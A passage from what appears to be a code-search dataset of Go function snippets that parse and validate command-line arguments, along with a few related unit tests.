os.Args\n\n\t//Check the length of the arugments, return failure if they are too\n\t//long or too short.\n\tif (len(args) < 2) || (len(args) > 3) {\n\t\treturn \"\", false, errors.New(\"Invalid number of arguments. \\n\" +\n\t\t\t\" Please provide sort option (-s) and the file name with relative path\" +\n\t\t\t\" of the csv data input file!\\n\")\n\t}\n\tfile_path := args[1]\n\tvar isSort bool\n\tif len(args) == 3 {\n\t\tif args[1] != \"-s\" {\n\t\t\treturn \"\", false, errors.New(\"Invalid number of arguments. \\n\" +\n\t\t\t\t\" Please provide sort option (-s) and the file name with relative path\" +\n\t\t\t\t\" of the csv data input file!\\n\")\n\t\t}\n\t\tisSort = true\n\t\tfile_path = args[2]\n\t}\n\t//On success, return the file_path and isSort value\n\treturn file_path, isSort, nil\n}", "func TestParseArguments(t *testing.T) {\n\n\t// Set our expectations\n\texpectedConfig := `.\\fake.yaml`\n\texpectedVerbose := true\n\texpectedDebug := true\n\texpectedCheckOnly := true\n\n\t// Save the original arguments\n\torigArgs := os.Args\n\tdefer func() { os.Args = origArgs }()\n\n\t// Override with our input\n\tos.Args = []string{\"gorilla.exe\", \"--verbose\", \"--debug\", \"--checkonly\", \"--config\", `.\\fake.yaml`}\n\n\t// Run code\n\tconfigArg, verboseArg, debugArg, checkonlyArg := parseArguments()\n\n\t// Compare config\n\tif have, want := configArg, expectedConfig; have != want {\n\t\tt.Errorf(\"have %s, want %s\", have, want)\n\t}\n\n\t// Compare checkonly\n\tif have, want := checkonlyArg, expectedCheckOnly; have != want {\n\t\tt.Errorf(\"have %v, want %v\", have, want)\n\t}\n\n\t// Compare verbose\n\tif have, want := verboseArg, expectedVerbose; have != want {\n\t\tt.Errorf(\"have %v, want %v\", have, want)\n\t}\n\n\t// Compare debug\n\tif have, want := debugArg, expectedDebug; have != want {\n\t\tt.Errorf(\"have %v, want %v\", have, want)\n\t}\n}", "func validateProgramArgs() {\n\tif *version {\n\t\tshowVersion()\n\t}\n\n\tif *helpUsage {\n\t\tusage(0)\n\t}\n\n\tif *helpFull {\n\t\tshowHelp(0)\n\t}\n\n\tif *LocalFolderPath == \"\" ||\n\t\t(*dpUsername != \"\" && *dpRestURL == \"\" && *dpSomaURL == \"\") {\n\t\tusage(1)\n\t}\n\n}", "func CheckArgs() map[string]*string {\n\n\targs := make(map[string]*string)\n\n\tparser := argparse.NewParser(\"print\", \"Prints provided string to stdout\")\n\n\targs[\"git_path\"] = parser.String(\"p\", \"git_path\", &argparse.Options{Required: true, Help: \"Path to git repository\"})\n\targs[\"word_list\"] = parser.String(\"w\", \"word_list\", &argparse.Options{Required: true, Help: \"Path to word list. HTTPS/HTTP/FS\"})\n\n\terr := parser.Parse(os.Args)\n\tif err != nil {\n\t\tfmt.Print(parser.Usage(err))\n\t}\n\n\treturn args\n}", "func CheckNumArgs(num int, args []string, usage string) error {\n\tif len(os.Args) != num {\n\t\tvar errString string\n\t\tif len(os.Args) >= 1 {\n\t\t\terrString = fmt.Sprintf(\"Incorrect usage should do: %s %s\", args[0], usage)\n\t\t} else {\n\t\t\terrString = fmt.Sprintf(\"Incorrect usage should do: scriptname %s\", usage)\n\t\t}\n\t\treturn errors.New(errString)\n\t}\n\treturn nil\n}", "func validateArgs() {\n\tif *optionsEndpoint == \"\" {\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n\tif *inputEndpoint == \"\" {\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n\tif *outputEndpoint == \"\" {\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n}", "func check_args(parsed_query []string, num_expected int) bool {\n\treturn (len(parsed_query) >= num_expected)\n}", "func checkArgs() {\n\tif TemplatesPath == \"\" {\n\t\texitErr(\"-t is required\")\n\t}\n\n\tif PackagePath == \"\" {\n\t\texitErr(\"-p is required\")\n\t}\n\n\tif LeftDelim == \"\" {\n\t\tLeftDelim = \"{{\"\n\t}\n\n\tif RightDelim == \"\" {\n\t\tRightDelim = \"}}\"\n\t}\n\n\tif OutputFormat == \"\" {\n\t\tOutputFormat = \"plain\"\n\t}\n\tif OutputFormat != \"json\" && OutputFormat != \"plain\" {\n\t\texitErr(`unsupported output format: \"` + OutputFormat + `\"`)\n\t}\n}", "func checkNoArguments(_ *cobra.Command, args []string) error {\n\tif len(args) > 0 {\n\t\treturn errors.New(\"this command doesn't support any arguments\")\n\t}\n\n\treturn nil\n}", "func CheckArgs(argsLength, argIndex int) error {\n\tif argsLength == (argIndex + 1) {\n\t\treturn errors.New(\"Not specified key value.\")\n\t}\n\treturn nil\n}", "func checkArgs(c *cli.Context) (rtn int) {\n rtn = 0\n if c.NArg() < 3 {\n color.Red(\"Wrong Input.\")\n color.Red(\"Use mo sqlite3 <dbFullName> <UserToChange> <PasswordToSet>\")\n color.Red(\"Example: mo sqlite3 USER.DB admin 111111 \")\n rtn = 1\n return\n }\n\n _, err := os.Stat(c.Args().First())\n if err != nil {\n if os.IsNotExist(err) {\n color.Red(\"File %s does not exist.\", c.Args().First())\n rtn = 2\n return\n }\n }\n return\n\n}", "func validArgs(args *runtimeArgs) bool {\n\tflag.Usage = showHelp\n\n\targs.fg = flag.String(\"fg\", \"black\", \"foreground color\")\n\targs.bg = flag.String(\"bg\", \"green\", \"background color\")\n\n\tflag.Parse()\n\n\tif args.fg == nil || hue.StringToHue[*args.fg] == 0 {\n\t\tbadColor(*args.fg) // prints an error message w/ a list of supported colors\n\t\treturn false\n\t}\n\n\tif args.fg == nil || hue.StringToHue[*args.bg] == 0 {\n\t\tbadColor(*args.bg)\n\t\treturn false\n\t}\n\n\t// Get the remaining flags, which should\n\t// consist of a pattern, and optionally, one or more file names.\n\trem := flag.Args()\n\n\tswitch {\n\tcase len(rem) == 0:\n\t\tfmt.Println(\"Error: No pattern specified.\")\n\t\tshowHelp()\n\t\treturn false\n\tcase len(rem) == 1:\n\t\targs.pattern = &rem[0]\n\tcase len(rem) >= 2:\n\t\targs.pattern = &rem[0]\n\n\t\tfor i := 1; i < len(rem); i++ {\n\t\t\targs.files = append(args.files, &rem[i])\n\t\t}\n\t}\n\n\treturn true\n}", "func analysisArgs() bool {\n\t//没有选项的情况显示帮助信息\n\tif len(os.Args) <= 1 {\n\t\tfor _, v := range gCommandItems {\n\t\t\tlog(v.mBuilder.getCommandDesc())\n\t\t}\n\t\treturn false\n\t}\n\n\t//解析指令\n\targs := os.Args[1:]\n\tvar pItem *sCommandItem = nil\n\tfor i := 0; i < len(args); i++ {\n\t\tparm := args[i]\n\t\tif parm[0] == '-' {\n\t\t\tpItem = findCommandItem(parm)\n\t\t\tif pItem == nil {\n\t\t\t\tlogErr(\"illegal command:\" + parm)\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tpItem.mCanExecute = true\n\t\t} else {\n\t\t\tif pItem == nil {\n\t\t\t\tlogErr(\"illegal command:\" + parm)\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tpItem.mParm = append(pItem.mParm, parm)\n\t\t}\n\t}\n\n\treturn true\n}", "func verifyArgs() (bool, string) {\n\tvar errMsg string\n\tvar webhookURL string\n\n\tif *auth == \"\" {\n\t\terrMsg = \"Invalid authentication! It must not be empty.\\n\"\n\t\treturn false, errMsg\n\t}\n\n\tif *address == \"\" {\n\t\terrMsg = \"Invalid URL! It must not be empty.\\n\"\n\t\treturn false, errMsg\n\t}\n\n\tif *port < 1025 || *port > 65535 {\n\t\terrMsg = \"Invalid port! Please, check it is between 1025 and 65535.\\n\"\n\t\treturn false, errMsg\n\t}\n\n\tif *prefix != \"\" {\n\t\t*prefix = strings.Trim(*prefix, \"/\")\n\t}\n\n\twebhookURL = fmt.Sprintf(\"%s:%d\", *address, *port)\n\n\treturn true, webhookURL\n}", "func VerifyRequiredArgs(c *Command, required []string) *Result {\n for _, arg := range required {\n _, r := getArgument(c, arg)\n if r != nil { return r }\n }\n return nil\n}", "func ParseArguments() {\n\t/** Initializing system */\n\tconfigParams := InitSystem()\n\n\t/** Parse arguments */\n\tglobalFlags()\n\tkubectl(configParams)\n\tdockerBuild(configParams)\n\thelm(configParams)\n\n\t/** Default behavior */\n\tAlert(\"ERR\", \"This command doesn't exists!\", false)\n\tos.Exit(1)\n}", "func ValidateArgs(args []string) error {\n\targsSorted := make([]string, len(args))\n\tcopy(argsSorted, args)\n\tsort.Strings(argsSorted)\n\tif i := sort.SearchStrings(argsSorted, separatorArg); i == len(argsSorted) || argsSorted[i] != separatorArg {\n\t\treturn fmt.Errorf(\"missing the argument %s\", separatorArg)\n\t}\n\n\treturn nil\n}", "func ValidateArgument(c *cli.Context) error {\n\tvar err error\n\tcommandName := c.Args().Get(0)\n\tinputArgumentsSize := len(c.Args())\n\tcorrectSize, exists := argumentSizeMap[commandName]\n\n\tif !exists {\n\t\tmessage := fmt.Sprintf(\"command not found :%s\", commandName)\n\t\terr = errors.New(message)\n\t}\n\n\tif inputArgumentsSize != correctSize {\n\t\tmessage := fmt.Sprintf(\"arguments size error.\")\n\t\terr = errors.New(message)\n\t}\n\treturn err\n}", "func checkAtLeastArgs(nargs int, errMsg string) func(cmd *cobra.Command, args []string) error {\n\treturn func(cmd *cobra.Command, args []string) error {\n\t\tif len(args) < nargs {\n\t\t\treturn errors.Errorf(errMsg)\n\t\t}\n\t\treturn nil\n\t}\n}", "func validateArgs() {\n\tif *inputEndpoint == \"\" {\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n}", "func argsOK() bool {\n\tif len(os.Args) > 1 {\n\t\tif os.Args[1] == \"--file\" && len(os.Args[2]) > 0 {\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t}\n\treturn false\n}", "func parseArguments() service.Arguments {\n args := service.ParseArguments()\n _, err := args.IsValid()\n\n if err == nil {\n return args\n }\n\n if service.IsUnknownArgumentsError(err) {\n flag.Usage()\n os.Exit(ERR_WRONG_USAGE)\n return args\n }\n\n StdErr.Write([]byte(err.Error() + \"\\n\"))\n os.Exit(ERR_WRONG_USAGE)\n\n return args\n}", "func checkNumberOfArgs(name string, nargs, nresults, min, max int) error {\n\tif min == max {\n\t\tif nargs != max {\n\t\t\treturn ExceptionNewf(TypeError, \"%s() takes exactly %d arguments (%d given)\", name, max, nargs)\n\t\t}\n\t} else {\n\t\tif nargs > max {\n\t\t\treturn ExceptionNewf(TypeError, \"%s() takes at most %d arguments (%d given)\", name, max, nargs)\n\t\t}\n\t\tif nargs < min {\n\t\t\treturn ExceptionNewf(TypeError, \"%s() takes at least %d arguments (%d given)\", name, min, nargs)\n\t\t}\n\t}\n\n\tif nargs > nresults {\n\t\treturn ExceptionNewf(TypeError, \"Internal error: not enough arguments supplied to Unpack*/Parse*\")\n\t}\n\treturn nil\n}", "func checkForArgErrors(token string, platform string) error {\n\tif token == \"\" {\n\t\treturn errors.New(\"Token needs to be a device token\")\n\t} else if platform != PlatformIos && platform != PlatformAndroid {\n\t\treturn errors.New(\"Platform must be either PlatformIos or PlatformAndroid\")\n\t}\n\treturn nil\n}", "func validateArgs(linkIndex int, fn reflect.Type, args []Argument) error {\n\tif !fn.IsVariadic() && (fn.NumIn() != len(args)) {\n\t\treturn argumentMismatchError(linkIndex, len(args), fn.NumIn())\n\t}\n\n\treturn nil\n}", "func checkVersion() bool {\n\tif len(os.Args) < 2 {\n\t\treturn false\n\t}\n\targ := os.Args[1]\n\tfor _, name := range cli.VersionFlag.Names() {\n\t\tif arg == \"-\"+name || arg == \"--\"+name {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func IsValidArgsLength(args []string, n int) bool {\n\tif args == nil && n == 0 {\n\t\treturn true\n\t}\n\tif args == nil {\n\t\treturn false\n\t}\n\n\tif n < 0 {\n\t\treturn false\n\t}\n\n\targsNr := len(args)\n\tif argsNr < n || argsNr > n {\n\t\treturn false\n\t}\n\treturn true\n}", "func (c *Compiler) checkBuiltinArgs() {\n\tfor _, m := range c.Modules {\n\t\tfor _, r := range m.Rules {\n\t\t\tfor _, expr := range r.Body {\n\t\t\t\tif ts, ok := expr.Terms.([]*Term); ok {\n\t\t\t\t\tif bi, ok := BuiltinMap[ts[0].Value.(Var)]; ok {\n\t\t\t\t\t\tif bi.NumArgs != len(ts[1:]) {\n\t\t\t\t\t\t\tc.err(expr.Location.Errorf(\"%v: wrong number of arguments (expression %s must specify %d arguments to built-in function %v)\", r.Name, expr.Location.Text, bi.NumArgs, ts[0]))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "func TestValidArguments(t *testing.T) {\n\ttesttype.SkipUnlessTestType(t, testtype.UnitTestType)\n\n\tConvey(\"With a MongoFiles instance\", t, func() {\n\t\tmf := simpleMockMongoFilesInstanceWithFilename(\"search\", \"file\")\n\t\tConvey(\"It should error out when no arguments fed\", func() {\n\t\t\targs := []string{}\n\t\t\terr := mf.ValidateCommand(args)\n\t\t\tSo(err, ShouldNotBeNil)\n\t\t\tSo(err.Error(), ShouldEqual, \"no command specified\")\n\t\t})\n\n\t\tConvey(\"(list|delete|search|get_id|delete_id) should error out when more than 1 positional argument (except URI) is provided\", func() {\n\t\t\tfor _, command := range []string{\"list\", \"delete\", \"search\", \"get_id\", \"delete_id\"} {\n\t\t\t\targs := []string{command, \"arg1\", \"arg2\"}\n\t\t\t\terr := mf.ValidateCommand(args)\n\t\t\t\tSo(err, ShouldNotBeNil)\n\t\t\t\tSo(err.Error(), ShouldEqual, \"too many non-URI positional arguments (If you are trying to specify a connection string, it must begin with mongodb:// or mongodb+srv://)\")\n\t\t\t}\n\t\t})\n\n\t\tConvey(\"put_id should error out when more than 3 positional argument provided\", func() {\n\t\t\targs := []string{\"put_id\", \"arg1\", \"arg2\", \"arg3\"}\n\t\t\terr := mf.ValidateCommand(args)\n\t\t\tSo(err, ShouldNotBeNil)\n\t\t\tSo(err.Error(), ShouldEqual, \"too many non-URI positional arguments (If you are trying to specify a connection string, it must begin with mongodb:// or mongodb+srv://)\")\n\t\t})\n\n\t\tConvey(\"put_id should error out when only 1 positional argument provided\", func() {\n\t\t\targs := []string{\"put_id\", \"arg1\"}\n\t\t\terr := mf.ValidateCommand(args)\n\t\t\tSo(err, ShouldNotBeNil)\n\t\t\tSo(err.Error(), ShouldEqual, fmt.Sprintf(\"'%v' argument(s) missing\", \"put_id\"))\n\t\t})\n\n\t\tConvey(\"It should not error out when list command isn't given an argument\", func() {\n\t\t\targs := []string{\"list\"}\n\t\t\tSo(mf.ValidateCommand(args), ShouldBeNil)\n\t\t\tSo(mf.StorageOptions.LocalFileName, ShouldEqual, \"\")\n\t\t})\n\n\t\tConvey(\"It should not error out when the get command is given multiple supporting arguments\", func() {\n\t\t\targs := []string{\"get\", \"foo\", \"bar\", \"baz\"}\n\t\t\tSo(mf.ValidateCommand(args), ShouldBeNil)\n\t\t\tSo(mf.FileNameList, ShouldResemble, []string{\"foo\", \"bar\", \"baz\"})\n\t\t})\n\n\t\tConvey(\"It should not error out when the put command is given multiple supporting arguments\", func() {\n\t\t\targs := []string{\"put\", \"foo\", \"bar\", \"baz\"}\n\t\t\tSo(mf.ValidateCommand(args), ShouldBeNil)\n\t\t\tSo(mf.FileNameList, ShouldResemble, []string{\"foo\", \"bar\", \"baz\"})\n\t\t})\n\n\t\tConvey(\"It should error out when any of (get|put|delete|search|get_id|delete_id) not given supporting argument\", func() {\n\t\t\tfor _, command := range []string{\"get\", \"put\", \"delete\", \"search\", \"get_id\", \"delete_id\"} {\n\t\t\t\targs := []string{command}\n\t\t\t\terr := mf.ValidateCommand(args)\n\t\t\t\tSo(err, ShouldNotBeNil)\n\t\t\t\tSo(err.Error(), ShouldEqual, fmt.Sprintf(\"'%v' argument missing\", command))\n\t\t\t}\n\t\t})\n\n\t\tConvey(\"It should error out when a nonsensical command is given\", func() {\n\t\t\targs := []string{\"commandnonexistent\"}\n\n\t\t\terr := mf.ValidateCommand(args)\n\t\t\tSo(err, ShouldNotBeNil)\n\t\t\tSo(err.Error(), ShouldEqual, fmt.Sprintf(\"'%v' is not a valid command (If you are trying to specify a connection string, it must begin with mongodb:// or mongodb+srv://)\", args[0]))\n\t\t})\n\n\t})\n}", "func checkArgValue(v string, found bool, def cmdkit.Argument) error {\n\tif def.Variadic && def.SupportsStdin {\n\t\treturn nil\n\t}\n\n\tif !found && def.Required {\n\t\treturn fmt.Errorf(\"argument %q is required\", def.Name)\n\t}\n\n\treturn nil\n}", "func ValidateCommonArguments(flags *flag.FlagSet) (*CommonArguments, error) {\n\tversion, err := flags.GetString(\"version\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdebug, err := flags.GetBool(\"debug\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttimeout, err := flags.GetInt(\"timeout\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &CommonArguments{\n\t\tVersion: version,\n\t\tDebug: debug,\n\t\tTimeout: time.Duration(timeout) * time.Second,\n\t}, nil\n}", "func checkArgs(ctxt context.Context, s string, args ...interface{}) {\n\tc := 0\n\tfor _, f := range []string{\"%s\", \"%d\", \"%v\", \"%#v\", \"%t\", \"%p\"} {\n\t\tc += strings.Count(s, f)\n\t}\n\tl := len(args)\n\tif c != l {\n\t\tWarningf(ctxt, \"Wrong number of args for format string, [%d != %d]\", l, c)\n\t}\n}", "func process_arguments() {\n\tfmt.Println(\"Processing arguments\")\n\tflag.Parse()\n}", "func (args *ModuleArgs) Check() *constant.YiError {\n\tif args.Downloader == nil {\n\t\treturn constant.NewYiErrorf(constant.ERR_SCHEDULER_ARGS, \"Nil downloader.\")\n\t}\n\tif args.Analyzer == nil {\n\t\treturn constant.NewYiErrorf(constant.ERR_SCHEDULER_ARGS, \"Nil analyzer.\")\n\t}\n\tif args.Pipeline == nil {\n\t\treturn constant.NewYiErrorf(constant.ERR_SCHEDULER_ARGS, \"Nil pipeline.\")\n\t}\n\treturn nil\n}", "func IsCommandLineArguments(id PackageID) bool {\n\treturn strings.Contains(string(id), \"command-line-arguments\")\n}", "func (o *Options) validate(args []string) error {\n\tif len(args) != 0 {\n\t\treturn errors.New(\"arguments are not supported\")\n\t}\n\treturn nil\n}", "func verifyFlags(opt *options, fs *flag.FlagSet) {\n args := fs.Args()\n if len(args) > 0 {\n opt.Root = args[0]\n args = args[1:]\n }\n if len(args) > 0 {\n patterns := make([]string, len(args))\n for i := range args {\n patterns[i] = fmt.Sprintf(\"(%s)\", args[i])\n }\n opt.SpecPattern = strings.Join(patterns, \"|\")\n }\n}", "func (h *FuncHandler) CheckArgs(check func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) error {\n\treturn func(cmd *cobra.Command, args []string) error {\n\t\treturn check(cmd, args)\n\t}\n}", "func checkInput(args []string) bool {\n\tif len(args) != 9 {\n\t\tfmt.Println(\"Error\") // Input length is out of range\n\t\treturn false\n\t}\n\n\tfor i := 0; i < len(args); i++ {\n\t\tif len(args[i]) != 9 {\n\t\t\tfmt.Println(\"Error\") // Input length is out of range\n\t\t\treturn false\n\t\t}\n\t}\n\tfor i := 0; i < len(args); i++ {\n\t\tfor _, value := range args[i] {\n\t\t\t//check if it equals char / or 0 and aslo\n\t\t\t//check if it less than . or greater than 9\n\t\t\t// if value == 47 || value == 48 {\n\t\t\t// \tfmt.Println(\"Error\") // Input is not correct\n\t\t\t// \treturn false\n\t\t\t// } else\n\t\t\tif value < 49 && value > 57 {\n\t\t\t\tfmt.Println(\"Error\") // Input is not correct\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\treturn true\n}", "func TestExtractArgs(t *testing.T) {\n\tpossibleOptions := getPossibleOptions()\n\ta := []string{\"--optionavecargument\", \"titi\", \"--optionsansargument\", \"--optionavecargument2\", \"toto\", \"chouette\"}\n\tremainingArgs, options, err := utils.ExtractOptions(a, possibleOptions)\n\tif (err != nil) {\n\t\tt.Errorf(err.Error())\n\t}\n\tif (len(remainingArgs) != 1) {\n\t\tt.Errorf(\"Erreur sur remaining args \" + string(len(remainingArgs)))\n\t}\n\tif (len(options) != 3) {\n\t\tt.Errorf(\"Erreur sur options\")\n\t}\n\n\tif (remainingArgs[0] != \"chouette\") {\n\t\tt.Errorf(\"Erreur sur remainingArgs : \" + remainingArgs[0])\n\t}\n\n\tif (options[\"--optionavecargument\"] != \"titi\") {\n\t\tt.Errorf(\"Erreur sur option --optionavecargument : \" + options[\"--optionavecargument\"])\n\t}\n\tif (options[\"--optionavecargument2\"] != \"toto\") {\n\t\tt.Errorf(\"Erreur sur option --optionavecargument2 : \" + options[\"--optionavecargument2\"])\n\t}\n\tif _, isPresent := options[\"--optionsansargument\"]; !isPresent {\n\t\tt.Errorf(\"Erreur sur option --optionsansargument : \" + options[\"--optionsansargument\"])\n\t}\n\tif _, isPresent := options[\"--optionsansargument2\"]; isPresent {\n\t\tt.Errorf(\"Erreur sur option --optionsansargument2 : \" + options[\"--optionsansargument2\"])\n\t}\n}", "func validateCommandSyntax(args ...string) bool {\n\tif len(args) < 4 {\n\t\treturn false\n\t}\n\n\tnewArgs := args\n\tif newArgs[0] == \"sudo\" && newArgs[1] == \"--preserve-env\" {\n\t\tnewArgs = newArgs[2:]\n\t}\n\n\tcmdTree := supportedCommandTree\n\t// check each argument one by one\n\tfor index, arg := range newArgs {\n\t\tif v, ok := cmdTree[arg]; ok {\n\t\t\tif index+1 == len(newArgs) {\n\t\t\t\treturn v == nil\n\t\t\t}\n\t\t\tcmdTree = v.(map[string]interface{})\n\t\t} else {\n\t\t\tmatched := false\n\t\t\tfor k, v := range cmdTree {\n\t\t\t\tif matched, _ = regexp.MatchString(k, arg); matched {\n\t\t\t\t\tif index+1 == len(newArgs) {\n\t\t\t\t\t\treturn v == nil\n\t\t\t\t\t}\n\t\t\t\t\tcmdTree = v.(map[string]interface{})\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !matched {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true\n}", "func ValidateCommonArguments(providerName string, flags *flag.FlagSet) (*CommonArguments, error) {\n\tchartPath, err := flags.GetString(\"chart-path\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tversion, err := flags.GetString(\"version\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdevel, err := flags.GetBool(\"devel\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdebug, err := flags.GetBool(\"debug\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttimeout, err := flags.GetInt(\"timeout\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdryRun, err := flags.GetBool(\"dry-run\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdumpValues, err := flags.GetBool(\"only-output-values\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdumpValuesPath, err := flags.GetString(\"dump-values-path\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclusterLabels, err := flags.GetString(\"cluster-labels\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlanDiscovery, err := flags.GetBool(\"enable-lan-discovery\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdisableEndpointCheck, err := flags.GetBool(\"disable-endpoint-check\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresourceSharingPercentage, err := flags.GetString(\"resource-sharing-percentage\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tenableHa, err := flags.GetBool(\"enable-ha\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tifaceMTU, err := flags.GetInt(\"mtu\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlisteningPort, err := flags.GetInt(\"vpn-listening-port\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcommonValues, err := parseCommonValues(providerName, clusterLabels, chartPath, version, resourceSharingPercentage,\n\t\tlanDiscovery, enableHa, float64(ifaceMTU), float64(listeningPort))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &CommonArguments{\n\t\tVersion: version,\n\t\tDebug: debug,\n\t\tTimeout: time.Duration(timeout) * time.Second,\n\t\tDryRun: dryRun,\n\t\tDumpValues: dumpValues,\n\t\tDumpValuesPath: dumpValuesPath,\n\t\tCommonValues: commonValues,\n\t\tDevel: devel,\n\t\tDisableEndpointCheck: disableEndpointCheck,\n\t\tChartPath: chartPath,\n\t}, nil\n}", "func (runner *suiteRunner) checkFixtureArgs() bool {\n succeeded := true\n argType := reflect.Typeof(&C{})\n for _, fv := range []*reflect.FuncValue{runner.setUpSuite,\n runner.tearDownSuite,\n runner.setUpTest,\n runner.tearDownTest} {\n if fv != nil {\n fvType := fv.Type().(*reflect.FuncType)\n if fvType.In(1) != argType || fvType.NumIn() != 2 {\n succeeded = false\n runner.runFunc(fv, fixtureKd, func(c *C) {\n c.logArgPanic(fv, \"*gocheck.C\")\n c.status = panickedSt\n })\n }\n }\n }\n return succeeded\n}", "func (c *Command) argInputValidator(cmd *cobra.Command, args []string) error {\n\n\t// Validate whether we have all arguments that need to be defined\n\tif len(args) < len(c.Arguments) {\n\t\terrMsg := \"\"\n\t\tfor i := len(args); i < len(c.Arguments); i++ {\n\t\t\targ := c.Arguments[i]\n\t\t\tif !arg.Required {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\terrMsg += Tr(\"error_missing_arg\", T(arg.Name)) + \"\\n\"\n\t\t}\n\t\tif errMsg != \"\" {\n\t\t\treturn failures.FailUserInput.New(errMsg)\n\t\t}\n\t}\n\n\tsize := len(args)\n\tif len(c.Arguments) < size {\n\t\tsize = len(c.Arguments)\n\t}\n\n\t// Invoke validators, if any are defined\n\terrMsg := \"\"\n\tfor i := 0; i < size; i++ {\n\t\targ := c.Arguments[i]\n\t\tif arg.Validator == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\terr := arg.Validator(arg, args[i])\n\t\tif err != nil {\n\t\t\terrMsg += err.Error() + \"\\n\"\n\t\t}\n\t}\n\n\tif errMsg != \"\" {\n\t\treturn failures.FailUserInput.New(errMsg)\n\t}\n\n\treturn nil\n}", "func parseArguments() (int, int, int) {\n\tcontracts.Require(func() bool {\n\t\treturn len(os.Args) > 3\n\t}, \"The program receives number of producers, consumers and buffer size.\"+np+help)\n\n\tvar nProd, errProd = strconv.Atoi(os.Args[1])\n\tvar nCons, errCons = strconv.Atoi(os.Args[2])\n\tvar bufferSize, errBuffer = strconv.Atoi(os.Args[3])\n\n\tcontracts.Require(func() bool {\n\t\tif errProd == nil && errCons == nil && errBuffer == nil {\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t}, \"Arguments must be int.\"+np+help)\n\n\treturn nProd, nCons, bufferSize\n}", "func VerifySingleArgument(c *cli.Context) error {\n\ta := c.Args()\n\tif !a.Present() {\n\t\treturn fmt.Errorf(`Syntax error, command requires argument`)\n\t}\n\n\tif len(a.Tail()) != 0 {\n\t\treturn fmt.Errorf(\n\t\t\t\"Syntax error, too many arguments (expected: 1, received %d)\",\n\t\t\tlen(a.Tail())+1,\n\t\t)\n\t}\n\treturn nil\n}", "func ValidateCommonArguments(flags *flag.FlagSet) (*CommonArguments, error) {\n\tversion, err := flags.GetString(\"version\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdevel, err := flags.GetBool(\"devel\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdebug, err := flags.GetBool(\"debug\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttimeout, err := flags.GetInt(\"timeout\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdryRun, err := flags.GetBool(\"dry-run\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdumpValues, err := flags.GetBool(\"only-output-values\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdumpValuesPath, err := flags.GetString(\"dump-values-path\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclusterLabels, err := flags.GetString(\"cluster-labels\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlanDiscovery, err := flags.GetBool(\"enable-lan-discovery\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcommonValues, err := parseCommonValues(clusterLabels, lanDiscovery)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &CommonArguments{\n\t\tVersion: version,\n\t\tDebug: debug,\n\t\tTimeout: time.Duration(timeout) * time.Second,\n\t\tDryRun: dryRun,\n\t\tDumpValues: dumpValues,\n\t\tDumpValuesPath: dumpValuesPath,\n\t\tCommonValues: commonValues,\n\t\tDevel: devel,\n\t}, nil\n}", "func checkValid(args []string) bool {\n\tfor _, item := range args {\n\t\tif item == \"bug\" || item == \"fish\" {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func VerifyCommitArgs(apr *argparser.ArgParseResults) error {\n\tif apr.Contains(AllowEmptyFlag) && apr.Contains(SkipEmptyFlag) {\n\t\treturn fmt.Errorf(\"error: cannot use both --allow-empty and --skip-empty\")\n\t}\n\n\treturn nil\n}", "func main() {\n\targs := os.Args[1:]\n\t// if len(args) == 5 {\n\t// \tfmt.Println(\"There are 5 arguments\")\n\t// } else if len(args) == 2 {\n\t// \tfmt.Printf(\"There are %d arguments: %s\\n\", len(args), args)\n\t// } else {\n\t// \tfmt.Println(strings.TrimSpace(usage))\n\t// }\n\tif len(args) >= 2 {\n\t\tfmt.Printf(\"There are %d arguments: %s\\n\", len(args), strings.Join(args, \" \"))\n\t} else {\n\t\tfmt.Println(usage)\n\t}\n}", "func ValidateArgs(args []string, validations []validate.Argument) error {\n\tif err := ValidateArgCount(len(validations), len(args)); err != nil {\n\t\treturn err\n\t}\n\n\tfor i, arg := range validations {\n\t\tif ok := arg.Validate(args[i]); !ok {\n\t\t\treturn 